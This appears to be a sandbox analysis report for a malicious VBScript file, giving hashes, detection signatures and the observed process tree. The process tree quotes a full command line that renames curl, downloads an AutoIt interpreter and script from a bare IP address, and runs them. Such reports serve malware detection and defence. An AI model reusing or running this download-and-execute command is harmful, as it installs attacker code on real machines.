Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    27/09/2023, 14:31

General

  • Target

    ByI.vbs

  • Size

    14KB

  • MD5

    1bac3ba2e3941dea6a6541961be54e80

  • SHA1

    5991e6f26e7c302708a4be73ffd56bca636009fc

  • SHA256

    643c85416ff830ae12c09960d837f39e2605cab1dc4dbdcf5de3ea383b5e27cc

  • SHA512

    38cf48e0a9b1521067b7f199b57996d0e434fe355b39492d5e3c594dae15769040624922f1cc94630475dd71e815514b47cddfc02e336673ec7b8649e771317a

  • SSDEEP

    24:6v/AE+kto64KBiHDmDHCWkqalW95VuF9/ITLBLdhXdHxjszxo+0Qg0:cn+kxJQyDHVxaM3cfI3RftuVvn

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ByI.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir c:\wlgt & cd /d c:\wlgt & copy c:\windows\system32\curl.exe wlgt.exe & wlgt -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351 & wlgt -o yyjraq.au3 http://94.228.169.143:2351/msiwlgtucnm & Autoit3.exe yyjraq.au3
      2⤵
        PID:820

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads